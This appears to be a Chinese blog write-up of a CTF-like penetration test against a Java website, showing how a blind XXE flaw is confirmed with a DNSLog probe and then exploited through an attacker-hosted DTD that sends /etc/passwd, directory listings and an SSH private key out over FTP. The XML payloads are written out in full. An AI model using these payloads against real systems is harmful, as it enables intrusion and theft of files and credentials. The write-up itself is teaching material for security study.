渗透测试|利用Blind XXE Getshell(Java网站)

admin 2021年12月27日01:59:44评论454 views字数 1621阅读5分24秒阅读模式


目录

Blind XXE读取任意文件Getshell




这是一道类似CTF的题目。话不多说

访问链接,如下。于是随便输入任意数字,点击Create Account

渗透测试|利用Blind XXE Getshell(Java网站)

抓包重放,发现是XML提交的格式。于是乎想到了XXE漏洞

渗透测试|利用Blind XXE Getshell(Java网站)

尝试读取文件,发现结果无变化。这就陷入了僵局。因为这里结果无变化有可能是目标网站不存在XXE漏洞,也有可能是目标网站存在XXE漏洞,但是不回显数据。

渗透测试|利用Blind XXE Getshell(Java网站)

于是,我们先得判断其是否存在XXE漏洞。利用DNSLog方法,我们提交如下Payload,如果目标网站存在XXE漏洞的话,就会请求我们指定的地址,当然就会去解析该地址,我们的DNS平台上就会有相应的解析记录。最后重放发现,返回包提示内部错误,并且我们的DNS平台上收到了查询的数据,即可证明目标网站存在XXE漏洞。

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://eja5f2.dnslog.cn">%remote;]><root/><reg><name>111</name><tel>222</tel><email>333</email></reg>

渗透测试|利用Blind XXE Getshell(Java网站)

渗透测试|利用Blind XXE Getshell(Java网站)

现在已经证明了该网站存在XXE漏洞,但是由于无回显,所以我们只能利用Blind XXE方法。

Blind XXE读取任意文件Getshell

首先,在我们的VPS上建立一个xml.dtd文件,内容如下。然后建立起一个HTTP服务,访问路径为:http://vps的IP/xml.dtd

<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'ftp://vps的地址:2121/%file;'>">%all;

渗透测试|利用Blind XXE Getshell(Java网站)

然后在我们的VPS上运行另外一个脚本,监听2121端口的流量

渗透测试|利用Blind XXE Getshell(Java网站)

最后,我们提交的Post数据如下。重放

渗透测试|利用Blind XXE Getshell(Java网站)

可以看到,我们2121监听的端口收到了目标主机发送过来的 /etc/passwd 文件了。

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE ANY [<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % dtd SYSTEM "http://VPS的IP/xml.dtd">%dtd;%send;]><reg><name>11</name><tel>22</tel><email>33</email></reg>

渗透测试|利用Blind XXE Getshell(Java网站)

我们修改POST提交数据,可以对目标主机实现任意目录浏览和任意文件读取。如下,是读取目标主机 /etc/ 目录

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE ANY [<!ENTITY % file SYSTEM "file:///etc/"><!ENTITY % dtd SYSTEM "http://VPS的IP/xml.dtd">%dtd;%send;]><reg><name>11</name><tel>22</tel><email>33</email></reg>

渗透测试|利用Blind XXE Getshell(Java网站)

渗透测试|利用Blind XXE Getshell(Java网站)

能列目录和读取任意文件后,我们就可以去查找目标主机的敏感文件了。最终,我们在目标主机的 /home/用户名/ 目录下找到了私钥文件

渗透测试|利用Blind XXE Getshell(Java网站)

读取id_rsa私钥文件。

渗透测试|利用Blind XXE Getshell(Java网站)

这里需要注意的是如何将读取到的私钥格式化,因为读取的数据很杂乱。我们最终可以读取 xxe-ftp.log 文件内容,然后过滤出私钥的数据。

渗透测试|利用Blind XXE Getshell(Java网站)

然后成功连上目标主机

渗透测试|利用Blind XXE Getshell(Java网站)

注:

这里通过监听2121端口的流量读取的数据,是从 RETR 开始后面的这些

渗透测试|利用Blind XXE Getshell(Java网站)

渗透测试|利用Blind XXE Getshell(Java网站)


相关文章:记一次利用BLIND OOB XXE漏洞获取文件系统访问权限的测试


渗透测试|利用Blind XXE Getshell(Java网站)



来源:谢公子的博客

责编:Zuo

渗透测试|利用Blind XXE Getshell(Java网站)

渗透测试|利用Blind XXE Getshell(Java网站)
渗透测试|利用Blind XXE Getshell(Java网站)
如果文中有错误的地方,欢迎指出。有想转载的,可以留言我加白名单。
最后,欢迎加入谢公子的小黑屋(安全交流群)(QQ群:783820465)
渗透测试|利用Blind XXE Getshell(Java网站)
渗透测试|利用Blind XXE Getshell(Java网站)

渗透测试|利用Blind XXE Getshell(Java网站)



本文始发于微信公众号(谢公子学安全):渗透测试|利用Blind XXE Getshell(Java网站)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月27日01:59:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   渗透测试|利用Blind XXE Getshell(Java网站)https://cn-sec.com/archives/483962.html

发表评论

匿名网友 填写信息